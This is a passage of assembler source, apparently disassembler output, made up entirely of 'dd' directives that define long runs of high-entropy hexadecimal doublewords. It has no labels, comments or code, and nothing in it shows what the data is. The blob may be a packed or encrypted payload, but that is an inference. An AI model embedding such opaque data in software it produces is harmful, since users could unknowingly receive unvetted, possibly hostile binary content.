		dd 0BC722EF8h, 86410014h, 0D5C7CB93h, 427DE625h, 0C4654038h
		dd 0A8D0544Fh, 0DFA70EE8h, 7827EE02h, 8CC8FC82h, 20E4DD15h
		dd 1B20684h, 0BC31BD2Eh, 26180888h, 58782400h, 998E6AAh
		dd 29881B69h, 0C1330C20h, 7E5DE8E4h, 0EFB287BCh, 0C4D89927h
		dd 0DACE42A1h, 2FB661EFh, 947C4331h, 4DAE5480h,	30010E35h
		dd 2998915Eh, 0C0FAF986h, 5C820688h, 1E82A031h,	0C0A0E934h
		dd 0DA38443h, 0BC81784Fh, 0D5F49DB1h, 1AFCA948h, 0F0B8A878h
		dd 0BF1EAC43h, 4CB942F8h, 8CAFC3A1h, 0DDCBF9A0h, 0A4009ABAh
		dd 0B82273BDh, 76EC37h,	0B314D7DCh, 0B667F80Dh,	9ED07850h
		dd 0D25C20h, 37097FE7h,	0A22B7E48h, 200C8BEh, 1AC76449h
		dd 0FCE9004Fh, 0A629FFE8h, 0BF090568h, 0D08F8642h, 300A7A0Ch
		dd 87585279h, 9B1FFFDEh, 5C48AABh, 20B942F6h, 5E04D4ACh
		dd 38339F97h, 40CD2CB4h, 144976EBh, 0A1E05320h,	0E50CACF2h
		dd 0D9EACF26h, 1E9EE601h, 51921905h, 0FF70A49Bh, 3B00B8EAh
		dd 0C06450DAh, 67CD1Ch,	1E413243h, 3F398004h, 0BBC89795h
		dd 0E580AD21h, 2D2F0895h, 9C4A00C3h, 91ED05ABh,	2E30F7FFh
		dd 6CACF025h, 736D0A19h, 3C8BA71h, 7CEC041Fh, 722897A8h
		dd 81B65127h, 0BD403580h, 9318B43Dh, 6F8E5446h,	0DDEC54F2h
		dd 20A4EB30h, 792858E8h, 207453F0h, 9BD1F482h, 14014118h
		dd 8340ACC1h, 0E16B1D05h, 0B0DCF61Ah, 29A574h, 2E08DEE1h
		dd 8A3759E9h, 254055Ch,	28B39F8h, 64E4B0h, 6A444C86h, 348241A3h
		dd 7582F0BEh, 56C8BE97h, 51F85E0h, 0E318828Ch, 173FB430h
		dd 384525D8h, 65386924h, 58007D3Fh, 0C610D774h,	9492992h
		dd 5B9799ABh, 0CC703C29h, 56438A04h, 0F8851E25h, 0FEA66204h
		dd 767C74C0h, 0A34100DBh, 0C554B6A8h, 99C2B4A4h, 79E7674Fh
		dd 68890BBCh, 99329CE6h, 0F1E618D8h, 18A3714Ch,	0AC445C97h
		dd 8EDAED16h, 0C073C8ACh, 0A1BF94B7h, 0FFA7B103h, 0CB407B88h
		dd 5E84B0A3h, 52122705h, 0A5E77C63h, 0F004F628h, 1A1B16h
		dd 0BFC36C81h, 0EBB77577h, 1EC47C09h, 0DF4720Bh, 86021A05h
		dd 0E0EEE970h, 0F204AFD6h, 1290740Eh, 0D4EBCC0h, 0A7AC9C73h
		dd 0CC0168B7h, 0F2A7402Fh, 137FCDFCh, 0F4C23008h, 0A2036284h
		dd 0ADD7BDF8h, 94F2D1D1h, 12403EC0h, 40511123h,	0C2016680h
		dd 8717D449h, 0D81452E4h, 0AD85802h, 90212C81h,	4A2494A6h
		dd 8B0F9426h, 49AA935h,	0C806EF4h, 481D5633h, 0FA402C24h
		dd 181E31C5h, 807EC738h, 0E3A3FB91h, 0BE9ADE8Eh, 724674F0h
		dd 5AA4BA00h, 4F74B02Fh, 0AC89B44Bh, 3E42E0h, 0D1274CD0h
		dd 0D8DE16B2h, 0DD9A5309h, 4904501Fh, 810BE458h, 24C04760h
		dd 76166CA0h, 0EB0EDAEAh, 0F2B92912h, 0AD542024h, 20D1A312h
		dd 17A60888h, 0D0341F77h, 517316DCh, 0A685CA2Ch, 0ABB93309h
		dd 0E22045C0h, 0D418ACF0h, 34071338h, 0C89C1CA2h, 89059AE7h
		dd 28D27F74h, 0E4146546h, 80BA62B5h, 4C999085h,	93DD31A4h
		dd 0A7739BE1h, 44F8C758h, 5BF760B5h, 0BC1313B4h, 0E22400F3h
		dd 0FB35968Eh, 4F181848h, 5488F456h, 0A56300D2h, 0CE4409Dh
		dd 32FEDA2Ch, 0FB65E617h, 3F914C8h, 0B10A7D37h,	2DA82940h
		dd 81002FFCh, 6F65A6B0h, 2AB8AE13h, 0BEA0DE79h,	5503DCB8h
		dd 9104BE77h, 8922C003h, 0A9E061A3h, 0EAF9F4A5h, 68DF6C40h
		dd 0E1D0F003h, 0A06146CBh, 0A4A32B29h, 4144A9D0h, 235C2E2Eh
		dd 25B02A6Bh, 0FC81860Ch, 0A1023Ah, 9919FA0h, 221B9028h
		dd 0C3589053h, 0B6070FB8h, 0A4446372h, 0F220E287h, 0E1A43017h
		dd 0EA22081Ch, 68C0591Ch, 3FC731BFh, 9BC312F5h,	0F218852Fh
		dd 33C7F218h, 0B7B212B0h, 0F6D2B900h, 1338AEDAh, 5AA67934h
		dd 7F24921Dh, 12EFB530h, 8BDC99B3h, 0DDCD0384h,	78649CEFh
		dd 0D0FF4E02h, 0E42FB70h, 0CC24D0BCh, 4F7AD200h, 7FCA822Dh
		dd 0C5814F12h, 9108F17Ch, 0D7807978h, 0C99ADEFh, 0F3C08942h
		dd 0D2CFEFDFh, 20060910h, 0EA435BC2h, 2BC8ECA7h, 78E60C41h
		dd 8CB2B830h, 67FC7900h, 81825132h, 80DC942Dh, 0B03384A0h
		dd 0BD0A0A6Eh, 9CF810FFh, 1B2465Eh, 0C62F018Ah,	0FC6DF809h
		dd 0F500C1ACh, 99D3A385h, 0F25DD9h, 39108158h, 0D81EFF9Ah
		dd 16503CB8h, 3D72A85Ch, 2800915Bh, 0A20176F0h,	41F90958h
		dd 0AC1DA6A1h, 0FB807311h, 340512A2h, 240F4BFEh, 0D7DDA364h
		dd 1D81F0C0h, 2C947793h, 5E4842D3h, 80802521h, 7BC1DCEBh
		dd 854BCE1Bh, 0D9883809h, 18197930h, 475C0141h,	4F679912h
		dd 3FDC7005h, 8B977702h, 0F69A1F7Ah, 0CB9D935Ch, 0C7B5C82Ch
		dd 88EF1007h, 7600E75Dh, 90360ADCh, 9C8C2045h, 0ADFC76CCh
		dd 0B6F13A86h, 91FB9805h, 12B8A93Bh, 0C5F011A2h, 89409CFFh
		dd 70D92A81h, 1096B49Fh, 0B5F294B2h, 547630h, 6016C0FAh
		dd 91DC7AB0h, 0F2D100B1h, 0BF3AF318h, 36CF8A12h, 9500B839h
		dd 6D8B40EEh, 3F089253h, 5F810273h, 30D21EBEh, 49B3717Dh
		dd 889C0EECh, 7DBFC024h, 7F549973h, 82253F98h, 0EE10B02Dh
		dd 0BFB204C8h, 9B6CC77Fh, 0B736C02Ch, 1084FE59h, 32522FFh
		dd 0D1913787h, 594F019h, 8BB84EDCh, 0C0B2C82Ch,	807A5E69h
		dd 4C234F1Dh
		dd 652AA300h, 26981FD2h, 42B8AEFEh, 5803B012h, 0E64126B3h
		dd 0A3465E4Ch, 5F1A802h, 0A4640A1Ah, 0BEB82883h, 7D02FC22h
		dd 419B6F2Ah, 0E094EDE9h, 89188A34h, 1330774Ch,	2C82383Dh
		dd 8170569Bh, 0A1AD5D07h, 860DEC83h, 0A2895B00h, 0A3472F26h
		dd 0D3CC3D23h, 0D4608189h, 971E8040h, 1680A9C0h, 9DFD3241h
		dd 3C79C04h, 8010DCADh,	5C69021h, 7488BCEEh, 0FCCCD4D7h
		dd 30DEBDACh, 44050203h, 0C23607CCh, 0D700B0BDh, 41D50B32h
		dd 0CB3A344Bh, 612500D6h, 0C592E57Fh, 75950188h, 0B62099EFh
		dd 96DC688Eh, 1EE180F6h, 582F3EB6h, 1900BB23h, 65121DA8h
		dd 0DB761FF1h, 0C3CD0B5Ch, 3DF86D88h, 508B4725h, 0B8E438E5h
		dd 69E28D60h, 0D60718B2h, 0EDCAE4BBh, 0D887FFABh, 2781A028h
		dd 13003231h, 0D8A3912Ch, 9DE8C58h, 0F621EE25h,	0AA42E4E0h
		dd 0F4F894h, 0AB08497Fh, 0B62AFBC1h, 1608AF4Dh,	3CE61B42h
		dd 1A0650B7h, 49CF563Eh, 988E173Fh, 30826B84h, 1783A40Fh
		dd 402A2B29h, 484F6698h, 98B14357h, 86827478h, 0EBB2131Ch
		dd 3C430401h, 97F0CBD2h, 0F965BF7h, 0D165ADD0h,	4F8C012h
		dd 7C914C29h, 1618B879h, 314E280Ch, 19FE481Ah, 6036BAF7h
		dd 0C33874FCh, 1CAD3C26h, 9033F940h, 0B584B035h, 46B9101Dh
		dd 7C590602h, 5240404Fh, 912F8470h, 4188251Bh, 491F986Eh
		dd 13D2019Fh, 6062FCF2h, 0D1F51B8Ch, 0C3A070F9h, 0C98CA830h
		dd 347205E0h, 0C6708249h, 800B19BCh, 0C8593A43h, 5BF7B730h
		dd 41A8804Ah, 344ADDEEh, 325688C0h, 0DB1B5A90h,	3DB98268h
		dd 0FCF2E2h, 0E119E75Ah, 0F39C556Ch, 80E3D438h,	81E242A3h
		dd 2DF8C675h, 0F445EE05h, 2E6074E4h, 0D8A09CCBh, 0B1016004h
		dd 0FF9773E2h, 0D882291Eh, 0C6614F4Ah, 0FD80B0D1h, 6DAD740Eh
		dd 0D11899DEh, 4E18B9h,	99839A1Ah, 67C36359h, 0AFA62B17h
		dd 78B130B3h, 530C82h, 19159BCh, 0F8A39449h, 817C4503h
		dd 7EEC81Dh, 0FB16C2B0h, 0C07929A9h, 8F18B679h,	64A80A00h
		dd 4BFE7AC9h, 0E1AF2650h, 1018289Ch, 0FBCDE12h,	0D2280DA8h
		dd 0BC50A0B8h, 0CB671717h, 89E8E469h, 3E13640h,	5303EDA3h
		dd 0D8C3EA6Dh, 92E4EBB8h, 313271F6h, 0E0AF5054h, 79A2332Ch
		dd 4E800CB6h, 0E6582703h, 514064ADh, 0B4B5BA5h,	4A32A4F9h
		dd 0FF06D48Bh, 0BC25A489h, 9F585040h, 5B80A835h, 9F1C31A0h
		dd 0B724183h, 0C0B68824h, 60326416h, 63B4DC01h,	23476F51h
		dd 0BEE44820h, 0B4F8E0Ch, 0C07C2087h, 9CB2B3B0h, 3F763D03h
		dd 0F08B85FDh, 3EE693A4h, 0ABA845A3h, 0D4DE48C8h, 0C7D5240Ah
		dd 5FD109C0h, 275DD400h, 0F05F599Eh, 336FCC80h,	9B105ECDh
		dd 73BFC094h, 0DAAF7Fh,	0D3754348h, 81E3C253h, 784C70B0h
		dd 2DD78128h, 8245FBEh,	73A31326h, 2F744B25h, 311E1CC1h
		dd 2A007131h, 0F023FC2Fh, 0AB2CC401h, 8C608A07h, 75B440BAh
		dd 4A20126h, 0B4B971Ch,	2F545074h, 0A868D586h, 9CBAAA8Dh
		dd 0C0C86D95h, 0FAD1B164h, 414E2000h, 59CC70DBh, 0EC0501CAh
		dd 0C5351739h, 38E9F53Ch, 8CA3ECE0h, 5AF0203h, 19ECE1Ah
		dd 4ADD9AD8h, 60B5C2EBh, 5A4A9B50h, 0B223943Eh,	4D302300h
		dd 0B9954E29h, 24391154h, 474080A0h, 25C315h, 626A7445h
		dd 5C859CDCh, 19499602h, 80A3C4B9h, 0DE05E23Ch,	6F7305AEh
		dd 86787C9Ch, 38AD49D8h, 4BAB79E0h, 67880B06h, 78F1F9E9h
		dd 816DD30Eh, 0FD86AC17h, 0F384DD8h, 25C75ADEh,	84A00190h
		dd 0DF5818E9h, 2DD35070h, 0C412A272h, 89D80057h, 91980ACDh
		dd 59730114h, 69BF3697h, 1C9AD6ACh, 0C90BC580h,	73131895h
		dd 0E0006E05h, 16C1ECFDh, 27340941h, 0E441F0C6h, 0F8542839h
		dd 9A0F8CB6h, 0BD32255Ah, 126DD7h, 0C28D4B5h, 0C830E6BDh
		dd 0DF220096h, 993C66A0h, 34CFB9Fh, 0B1047754h,	0C87ED8F0h
		dd 77528EDh, 0D182DA6Dh, 3A0ED030h, 0AE00CC8Eh,	9329738Bh
		dd 2C3B108h, 7CB0F5D0h,	98D1E4F0h, 6A18B571h, 0C7674400h
		dd 0C486468Ah, 0D1454EA2h, 2F399BBCh, 6DAEC81Ch, 5152DE00h
		dd 4B42FB82h, 0F5A004B2h, 0B830E98Eh, 45680014h, 0D7F6F7AEh
		dd 0B79791DCh, 178038A8h, 2F01767Bh, 0FB5A9D9Ch, 0E6D57809h
		dd 3CB5BD14h, 27E3AB01h, 6B6EE4DCh, 0CA8405C4h,	44EDC72Bh
		dd 0B9796400h, 97749245h, 9A8D560Eh, 0FDB48052h, 0B4F4131h
		dd 0B8F70A7Bh, 0D346BC44h, 772E060Fh, 8C45CECBh, 2DF16080h
		dd 3AFD0A5Ah, 0BDA01373h, 0D0E495h, 0B5689D30h,	709CAD52h
		dd 0CC2BA230h, 985B1F1h, 0D3B990BEh, 0CCE20C45h, 0B672187Fh
		dd 0DBD18B16h, 0ECC120C0h, 0C53002B7h, 3B5B844Eh, 0EA800C74h
		dd 0FF49D1EEh, 2548E60Ch, 0E0487AB1h, 0CF260835h, 0A00880DFh
		dd 26899CB4h, 0EC524178h, 0C6B6BE4h, 0F6E66C00h, 0F0950A2h
		dd 0C3D07412h, 73C814DAh, 0D09834E0h, 0CE850161h, 3DA1CD2Ch
		dd 0FC802F84h, 14C82E16h, 0E93594EFh, 3C89957Ch, 0C0582C7Bh
		dd 0C5D403CBh, 86B39776h, 8F699EAh, 0E868880Bh,	0EAC82D9Ch
		dd 6AF91EEBh, 0A62507D2h, 6128ECC1h, 844C3826h,	12B5465Eh
		dd 0C5006949h, 0C4F7C7Bh, 0D3220047h, 982F3313h, 0F612D23Dh
		dd 0B8207AADh, 2A6E23h,	4DA45B17h, 0A02C85Fh, 0C48DB209h
		dd 0EF7C85AAh, 520068FCh, 0C5435EAFh, 0EA4B959Ah, 369B7C91h
		dd 0F202282Dh, 8A85C40Bh, 0F578A0F9h, 7A0086ACh, 24CC61C2h
		dd 50C354FDh, 2A354D4h,	9D494FD8h, 0C85EA2ADh, 0B194674h
		dd 8535A699h, 1CB1B98Bh, 0EB88540Bh, 0D0C440C3h, 17ABF481h
		dd 56CC84Ah, 0E55516C0h, 0C4387870h, 0B8869465h, 0C3B00B58h
		dd 680F4Eh, 0E1C0AF28h,	5B92E5F0h, 4700B6B1h, 0AC3A0505h
		dd 0DA2F09C8h, 0E4A0E57Eh, 2BC067F5h, 0E41A3F12h, 9918053Dh
		dd 26D2FFh, 8C3897DCh, 41955976h, 6B2F4648h, 668D00B0h
		dd 0D99618A8h, 0DF7900C9h, 8128A40Dh, 9709991Dh, 220466FFh
		dd 0E789A514h, 0AD174228h, 3040C18h, 6D05D887h,	20A8C894h
		dd 835BA44Bh, 50DE0822h, 0B7BF6Ch, 0CD67961Fh, 67F564C4h
		dd 55A0B571h, 3A426FC0h, 0FB149985h, 773C8022h,	0C08CDADEh
		dd 0CD383E48h, 9751021Bh, 3D9E2792h, 0A4005474h, 44F802Dh
		dd 0CBF212C1h, 1030D217h, 0EDA7A076h, 0A4FD6054h, 16013C12h
		dd 45A38419h, 9B018794h, 0F2D87351h, 0DEE43091h, 0EE29B400h
		dd 0C1D0E058h, 0D1F2571h, 0C308A0A1h, 0C0805756h, 62F51BE7h
		dd 2943A709h, 79F8F1E1h, 0A11D18A3h, 232A2CBDh,	87BA0DA8h
		dd 0B48AA310h, 0F906DC6Ch, 2C7D68FEh, 6C045CB6h, 0C482B27h
		dd 0E03345A8h, 0E429688Dh, 0E604A0BDh, 0A85D8C91h, 4371BCACh
		dd 0A14D0182h, 7EA56F10h, 0F0473030h, 0F2EC4A25h, 5B740000h
		dd 8752AD93h, 948B0715h, 82549968h, 0A480513Fh,	452F2A01h
		dd 1284C63Ah, 38BCA54Eh, 0DC876F25h, 518C5689h,	66DF2D01h
		dd 18CED6DEh, 0FC31BBF1h, 0C28C9B3Ah, 8B5D589Dh, 7B3C4AD5h
		dd 72807338h, 0BC2C0FA3h, 5E69DC34h, 181360D4h,	0F700A4BEh
		dd 363EFF1Ah, 13509914h, 133B2892h, 3C20801Ah, 0F9038B61h
		dd 67DD9BE0h, 34E5E4BDh, 1D8F29FEh, 0C8A2FDE9h,	2C785D4Eh
		dd 26817F0Ah, 8AED082h,	826B215Eh, 19C8B086h, 6A654869h
		dd 6CB53300h, 0D17EB604h, 0AD30D71Dh, 0DA696BDh, 0F8E2DCC7h
		dd 0C3D0C826h, 1F51C0A0h, 9BC52885h, 206EE245h,	51363F64h
		dd 967E1807h, 4940B79Bh, 3FB5A3Ah, 6346FFD4h, 0EBBF75D0h
		dd 606B5490h, 5542B700h
		dd 43680A09h, 4CB5A1Dh,	4237DD88h, 741FAAD0h, 0C500F490h
		dd 0B3D0258h, 619009h, 8C16C8A3h, 0FF93C0E8h, 1986F713h
		dd 271E98F0h, 64010C34h, 2DC17E08h, 72C00E94h, 20A82F4Dh
		dd 0B901767Fh, 0A550A3Dh, 50D83144h, 0B484B468h, 7446564Ch
		dd 0C08AB00Fh, 0D814A221h, 9138F001h, 85DDA301h, 1643678Fh
		dd 0A9A0096Bh, 1F61D00Eh, 10C49BF9h, 7A963Eh, 29B0F040h
		dd 42C012B2h, 8EE9F00h,	90C68ECAh, 7237E73h, 25B4D015h
		dd 0F81244Eh, 0DFE883FEh, 0C547DA49h, 6091E474h, 0C723CCh
		dd 98772649h, 97646F3Eh, 84F4C13Bh, 4C2E9242h, 0B3AC18A9h
		dd 0B65A2E01h, 51E6FC18h, 2F3EA831h, 722358h, 748B4929h
		dd 6017E006h, 98178497h, 0FA1614A4h, 0DE9D0530h, 0AC694CADh
		dd 700A0BB4h, 0BD4C706Bh, 0B07B037h, 0CA4029ECh, 24C9A4Bh
		dd 0EEEF9F3Dh, 8454E4D2h, 0B3B51680h, 76D4ED2Bh, 4908073Eh
		dd 30AB25F0h, 0E2943467h, 20554300h, 538AFE4Fh,	0C0805EC9h
		dd 93280E48h, 12243205h, 54BD7FE2h, 50B45C10h, 9003020h
		dd 0DB759C18h, 1AA4952Dh, 20A8B00Dh, 47C000EDh,	8A6E04h
		dd 0BB88BFEh, 1A9EF797h, 0A919EB80h, 3C781FCCh,	38CB2BCh
		dd 0EC18B976h, 0E3E4B659h, 0ACF5E1E4h, 993E380Ch, 6A3D0077h
		dd 6F816469h, 12D8B653h, 129CECA7h, 0F8B72123h,	5089AEA0h
		dd 13FE4100h, 83550D9Eh, 0BC1DBDF7h, 6580EB11h,	7DBABF2Fh
		dd 0EA15E02Dh, 795059B4h, 0B8B6186Bh, 8268B648h, 0BE6242FBh
		dd 2A651040h, 0BA33DE16h, 0A4C81C8Bh, 0A085E1C1h, 2E7C1C6Dh
		dd 204E3Ah, 3DD898F7h, 707E8E8Bh, 5304F04h, 389A9E54h
		dd 75C0F0C8h, 36CA9Eh, 19ED9134h, 0FD0C3A9Ch, 82EF74Fh
		dd 7E00B523h, 0B9D46F0Eh, 0B99000Fh, 4C5819Ah, 91BFA2F2h
		dd 56201708h, 0C9F00055h, 0CC2B01ECh, 0CE09E630h, 20F9C4B2h
		dd 195B7C50h, 0DC209C4Ch, 37747B7Fh, 0A8E40101h, 9F66636Fh
		dd 74A27033h, 51F230h, 0C62D090h, 5CFCE2D1h, 8B82A50h
		dd 0F0143B25h, 75810940h, 6C980D8Ah, 0D92D204Ch, 6C581056h
		dd 0B049003Ah, 0AE1A0499h, 0BA001CF6h, 109AA9A4h, 0F239E5h
		dd 764E7ED8h, 8925471Bh, 0C17A7308h, 0C91F00B0h, 0B12723F1h
		dd 58E4964Ah, 2DFB77A9h, 5050EF97h, 0B95F3CB0h,	56F12009h
		dd 0EC1E6424h, 41B181BCh, 17BF59Eh, 0AEFFA498h,	349B046Bh
		dd 8DC2B588h, 0C6E6C085h, 753804FEh, 9013DB1Bh,	0BC6F2954h
		dd 83E7F5Fh, 1E00C723h,	9E20F70Eh, 0C1A02569h, 2200B45Ah
		dd 0D30AD93Bh, 3C44676Dh, 0D881C006h, 9089F62Dh, 0CC822B91h
		dd 17AE22B2h, 10E4C0E9h, 5B6F6E2h, 86680D99h, 4EC8F064h
		dd 5C54692Ch, 8CE2E716h, 618FDE09h, 1708489Dh, 18A963ADh
		dd 0FFD9FB88h, 2D13CB7Fh, 3420C61Ch, 0EEBDBCh, 0C1B3B613h
		dd 0A98309C0h, 0B88E3A07h, 6111B5E7h, 0E04D4341h, 23EC2F3Eh
		dd 7FA900C8h, 994B6582h, 0BD0F9F0Ch, 0B88FF010h, 0A60A1768h
		dd 1AA100D8h, 0CD36C245h, 1CD0765Fh, 20889Ah, 0E36FD2B8h
		dd 0C03A9508h, 3A9A002h, 48E277ACh, 45761BE4h, 0B05026AFh
		dd 12346E81h, 4A39BCFh,	0C359AF1Ch, 26EADF1Ch, 0FC5CA95Fh
		dd 0C567402Ch, 0F6006294h, 48958E4Bh, 0AA208h, 5275EEB6h
		dd 0C72F8A49h, 0FC0E4D0Bh, 95F8D8D3h, 73E25865h, 20CF1982h
		dd 0FD3BA50Dh, 90618BC5h, 2F84073Fh, 0DCC40AC9h, 7C288811h
		dd 0DF1A00C9h, 57AD1EE3h, 5049B15h, 3975E555h, 0F6C31CD8h
		dd 0E039C4A5h, 2440AB9Bh, 461DE337h, 0CC0A0092h, 176E28Fh
		dd 0E502F1A1h, 0EE1A23E1h, 2FD4DEAAh, 0FC00F0C4h, 0B1E43DB3h
		dd 7719FE8h, 44743830h,	9401F50h, 0FB667D15h, 59CE9864h
		dd 183401AEh, 719879Fh,	61C986C1h, 8468DC74h, 90D3C54Bh
		dd 94B38011h, 30DEE07h,	0B9165BE9h, 2AB977D6h, 0ACC18BAFh
		dd 409CC8C7h, 50CE09C4h, 0C4019791h, 0DCADA8DDh, 0F61F33D9h
		dd 0A31399C7h, 2553F0E0h, 2820C198h, 5D15D9E8h,	8ECB7400h
		dd 0CF784CE9h, 6DD83AE5h, 0C3618206h, 0AF0010CEh, 4C92A55Dh
		dd 33CD0FFCh, 0BE08F444h, 68E2103h, 987218A5h, 0F6292443h
		dd 0D17A0B3Eh, 0C00674Bh, 39422F96h, 0CF30B660h, 3EDC9749h
		dd 0EF0195AAh, 0B0E17989h, 4C5183D1h, 0E822EB45h, 7BDAB4h
		dd 19FB88C3h, 63D97EE0h, 0E829B360h, 1E0B84E4h,	80897239h
		dd 5E659124h, 9400F31Eh, 956570Ah, 606D21BEh, 0A3499042h
		dd 41C3CE64h, 0AFC2842Dh, 76BB2800h, 0FD590C21h, 0B621CFCCh
		dd 28EA513Ah, 5300CB72h, 1E9FADB0h, 5DC7A15h, 5CC768BFh
		dd 0E0D880F3h, 0E6009232h, 0EDE731B8h, 3F44F6Eh, 74716276h
		dd 0C0F0B190h, 0A0008CA4h, 0D012FE7Ah, 3B103672h, 0FABA40h
		dd 7F99EDD5h, 0A7A44FA5h, 8707883Dh, 111245Dh, 80665893h
		dd 1652D013h, 185D28Bh,	0E7C43D10h, 63089B25h, 0D294B921h
		dd 181A2BD0h, 0A8578BC6h, 3230C4B5h, 115A9069h,	3158695Bh
		dd 30DF2000h, 7F3BC56Fh, 0A95787DEh, 3AD19740h,	30816A6Eh
		dd 293572DAh, 138840CDh, 0C4000C30h, 5FBBBA4h, 0CC2F535Fh
		dd 8721D708h, 0F8C42301h, 0E866EF8Eh, 47959050h, 2BB8027Dh
		dd 5CC1E5C7h, 3F822CB5h, 1196F07Dh, 0B1C2DFA2h,	0B3EDB481h
		dd 2CC45B0h, 0E7D73944h, 9479B8A0h, 0C76C37EBh,	2897D879h
		dd 0F084047Ah, 0DA62C20h, 24B50143h, 989D816Fh,	2541F708h
		dd 0A0D00ACh, 458C22E4h, 0E21FD495h, 0D009E691h, 0D4238810h
		dd 9ED28EC1h, 0D418D271h, 3734885Eh, 5A1DD200h,	0E4690E97h
		dd 0D05B503Eh, 0CFE518F9h, 0CC4FA853h, 5ABD9B15h, 589D29DCh
		dd 1E0D9C07h, 4961A594h, 0A2430011h, 286900Dh, 0F23E1961h
		dd 28471D07h, 0BB604B44h, 7E072419h, 2E02046Ah,	0EF6F33B0h
		dd 3FBC0099h, 0F5EC4706h, 650AC6FFh, 8CD21095h,	0DB182917h
		dd 0C0735848h, 34820B51h, 0DB03A268h, 0F2DCBB5Ch, 81F8046Ch
		dd 0A51D7C4h, 3985F820h, 0C04224F5h, 0A763CC7Bh, 9E63B58Ch
		dd 3739075Fh, 5FA7C2A9h, 310186E6h, 18A39881h, 0F20D739Ah
		dd 0F5608C55h, 0DA04131h, 905900B2h, 0BC546376h, 0B026DDCh
		dd 1BE4717h, 0B0F4A413h, 89D28F60h, 0A02DEF29h,	0BBDECBh
		dd 5D234451h, 4604F55Bh, 833A9736h, 80A49182h, 8459D084h
		dd 1E88DC54h, 0D9180DADh, 8A73C099h, 888BA500h,	92044E94h
		dd 6F08CC84h, 0A2015521h, 5710E2A5h, 0C441FA68h, 421338Fh
		dd 48C4744Eh, 0DC783011h, 0D97C51h, 4DBE7F92h, 0F411A759h
		dd 482F3924h, 30818820h, 90A818A1h, 0A485F294h,	274A4430h
		dd 0F0DAE00h, 5F31E9E5h, 0BE9000D8h, 9DBCFD6Bh,	0F8A6F78Fh
		dd 84580720h, 0F910E13Ch, 3D4983CDh, 85394h, 0EA2D90A9h
		dd 0EA6906AFh, 4C40251h, 838A4705h, 301AD5C1h, 3C9B9300h
		dd 9AC41E01h, 0C8180BBBh, 158D88h, 79F569C4h, 0A676704Ch
		dd 4417E509h, 0A50C19EEh, 0D2728A18h, 35EF26h, 932870h
		dd 6F1558D2h, 76EA4523h, 28DD6826h, 981744h, 8AA5088Bh
		dd 6EC48C88h, 0A5A35240h, 3926B1EBh, 0FB4078DAh, 8065EFCDh
		dd 0E6638FA0h, 0B7E84519h, 0C4883850h, 44E0A74Eh, 1C386648h
		dd 0C6D15293h, 0D9754F16h, 10208898h, 5B983D15h, 9012E515h
		dd 880EA323h, 25EF44D2h, 32204662h, 1F26D291h, 0C02EFFABh
		dd 6E9E7033h, 8A0901C3h, 1FBB84Fh, 81C7EA74h, 3036E842h
		dd 0A711C40Dh, 0CB8803BBh, 0C4248683h, 0F09698D8h, 0F2C748CFh
		dd 0D808A02h, 0ACA05EDAh
		dd 0AB339E2Ah, 0EBD7AC0Fh, 0A404F6C5h, 0FF0110FEh, 4A1108C0h
		dd 0C263C86Ch, 70416AF0h, 0AA03F2F3h, 94204371h, 37305DB2h
		dd 0A2020EA0h, 36213B78h, 437AA6B5h, 600B7481h,	0E57B13h
		dd 0ABE3812Dh, 302449D0h, 8FA59E80h, 448CF488h,	960E5170h
		dd 4056EA5h, 0CC827CFEh, 8B150062h, 0A049115Bh,	0D9B8320h
		dd 319DCA0Bh, 0A140104Dh, 7C780Dh, 0FA14603Bh, 0CD4F7DF2h
		dd 6E521618h, 608159D9h, 3B9815Ch, 76056087h, 8D2CC1Bh
		dd 0A1D3C000h, 38EFC6BEh, 5BACD580h, 4A465E90h,	94990B00h
		dd 2AC2C020h, 7E2CBB0Ch, 58AF6015h, 69F48CCh, 197542E4h
		dd 4813EC1Fh, 4676602Eh, 0C6D800DFh, 2637B111h,	7D940671h
		dd 99528F84h, 2B2F931Eh, 5B1F7E80h, 0E9AE281h, 0C97A8EB8h
		dd 0C3168202h, 5E641447h, 815A6F60h, 1812FCA4h,	0A00D78C1h
		dd 41F0A15Bh, 83E401F1h, 63FFA740h, 88AC4EF8h, 0AF8DC048h
		dd 0A4044437h, 494BEDF2h, 403644A4h, 5898EC13h,	5940E635h
		dd 4A23A83Fh, 513B7E00h, 13EE8389h, 6244096h, 0D9C6BC40h
		dd 60CCD483h, 219BC421h, 92C023BBh, 5E6C418h, 0F9D08E06h
		dd 0AB04C0D4h, 0D3F9ED8Ch, 0A04C15D2h, 11A5853Fh, 5C889C88h
		dd 0A59D5485h, 0DAD32437h, 8F210008h, 0DDA9B89Fh, 0BA717F19h
		dd 498D892h, 89022146h,	0FC8890A5h, 0A00104E7h,	9E8A5A1h
		dd 0E0089030h, 0D81410C7h, 3902333h, 0BB99C40Bh, 0C0B4A2F4h
		dd 0A0C42290h, 84E2C0Ch, 5C467448h, 23B23400h, 3B3902Fh
		dd 0C6022A04h, 880B5063h, 5F11981Dh, 0C0823A80h, 0D94C9812h
		dd 0A08130D8h, 0B23BB817h, 6F1403C4h, 0E8BFDC26h, 1F81B100h
		dd 0AAA78A56h, 1A82E4Dh, 832211B0h, 9A89A588h, 10613184h
		dd 0F6A5A053h, 300C48DCh, 0C8E016h, 5A0B3BD4h, 0A883766h
		dd 0F9882CB7h, 0CEEF034Ch, 2805D738h, 5BA04CB0h, 54C8C4CBh
		dd 0CC7AB1C0h, 9C4C5053h, 3CA85D76h, 98A9B721h,	18185F71h
		dd 75033300h, 0DE1A24F9h, 603B6383h, 64C2E469h,	9AA8D040h
		dd 0B8A61532h, 0D993096h, 0CD0685E2h, 0FD8CF395h, 41F60008h
		dd 0EFD1F779h, 0BF0023BCh, 75932E77h, 39DAC338h, 9600F8A0h
		dd 0EF851511h, 807F420Bh, 0E539D367h, 0F8F2941h, 2B1001F3h
		dd 851FBCFAh, 0FF3448FDh, 0F1CB88h, 97F22FBCh, 2B64E60Ch
		dd 0EC0B18C7h, 498D2847h, 3222E0h, 3DC8B5BAh, 35C10FD3h
		dd 213008CCh, 0BA2A0E01h, 15801DF3h, 727C719Ah,	0EEC84C01h
		dd 765F04B0h, 3CA4FE0h,	0EF0C11B1h, 0C000FAE1h,	82BAD779h
		dd 0CD87030h, 0D078751Dh, 21C1E108h, 5282C336h,	1BA2A20h
		dd 4A7E905Fh, 82309506h, 7078F858h, 7F8C8081h, 7CF754F6h
		dd 21661C5Eh, 0F270F2BDh, 5882B330h, 3842CE31h,	3700DC22h
		dd 49782BCh, 0F8B35F1h,	9A47582Ah, 638187E0h, 6930C1F7h
		dd 9942F87Ch, 34F7A1Dh,	3E300402h, 83033FAh, 25372171h
